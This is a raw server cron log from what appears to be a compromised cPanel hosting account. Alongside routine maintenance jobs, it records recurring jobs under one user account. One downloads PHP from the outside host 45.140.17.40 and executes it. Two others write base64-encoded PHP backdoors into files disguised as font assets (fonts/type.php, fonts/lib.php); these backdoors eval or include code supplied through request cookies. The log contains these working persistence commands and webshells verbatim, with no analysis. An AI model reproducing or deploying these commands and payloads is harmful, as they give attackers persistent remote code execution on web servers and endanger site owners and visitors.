Sep 11 11:10:01 ip-184-168-122-23 CROND[23259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:10:01 ip-184-168-122-23 CROND[23261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:10:01 ip-184-168-122-23 CROND[23264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:10:01 ip-184-168-122-23 CROND[23266]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:10:01 ip-184-168-122-23 CROND[23267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:10:01 ip-184-168-122-23 CROND[23265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:10:01 ip-184-168-122-23 CROND[23270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:11:01 ip-184-168-122-23 CROND[23378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:11:01 ip-184-168-122-23 CROND[23382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:11:01 ip-184-168-122-23 CROND[23380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:11:01 ip-184-168-122-23 CROND[23381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:12:01 ip-184-168-122-23 CROND[23480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:12:01 ip-184-168-122-23 CROND[23482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:12:01 ip-184-168-122-23 CROND[23485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:12:01 ip-184-168-122-23 CROND[23484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:12:01 ip-184-168-122-23 CROND[23483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:13:01 ip-184-168-122-23 CROND[23600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:13:01 ip-184-168-122-23 CROND[23602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:13:01 ip-184-168-122-23 CROND[23603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:13:01 ip-184-168-122-23 CROND[23604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:14:01 ip-184-168-122-23 CROND[23701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:14:01 ip-184-168-122-23 CROND[23703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:14:01 ip-184-168-122-23 CROND[23705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:14:01 ip-184-168-122-23 CROND[23708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:14:01 ip-184-168-122-23 CROND[23709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:15:01 ip-184-168-122-23 CROND[23872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:15:01 ip-184-168-122-23 CROND[23871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:15:01 ip-184-168-122-23 CROND[23876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:15:01 ip-184-168-122-23 CROND[23874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:15:01 ip-184-168-122-23 CROND[23877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:15:01 ip-184-168-122-23 CROND[23875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:16:01 ip-184-168-122-23 CROND[24000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:16:01 ip-184-168-122-23 CROND[24001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:16:01 ip-184-168-122-23 CROND[24006]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:16:01 ip-184-168-122-23 CROND[24003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:16:01 ip-184-168-122-23 CROND[24004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:16:01 ip-184-168-122-23 CROND[24007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:17:01 ip-184-168-122-23 CROND[24141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:17:01 ip-184-168-122-23 CROND[24142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:17:01 ip-184-168-122-23 CROND[24143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:17:01 ip-184-168-122-23 CROND[24144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:18:01 ip-184-168-122-23 CROND[24241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:18:01 ip-184-168-122-23 CROND[24242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:18:01 ip-184-168-122-23 CROND[24245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:18:01 ip-184-168-122-23 CROND[24247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:18:01 ip-184-168-122-23 CROND[24249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:19:01 ip-184-168-122-23 CROND[24353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:19:01 ip-184-168-122-23 CROND[24355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:19:01 ip-184-168-122-23 CROND[24356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:19:01 ip-184-168-122-23 CROND[24357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24532]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:20:01 ip-184-168-122-23 CROND[24537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:20:01 ip-184-168-122-23 CROND[24545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:21:01 ip-184-168-122-23 CROND[24661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:21:01 ip-184-168-122-23 CROND[24663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:21:01 ip-184-168-122-23 CROND[24664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:21:01 ip-184-168-122-23 CROND[24665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:22:01 ip-184-168-122-23 CROND[24784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:22:01 ip-184-168-122-23 CROND[24783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:22:01 ip-184-168-122-23 CROND[24786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:22:01 ip-184-168-122-23 CROND[24785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
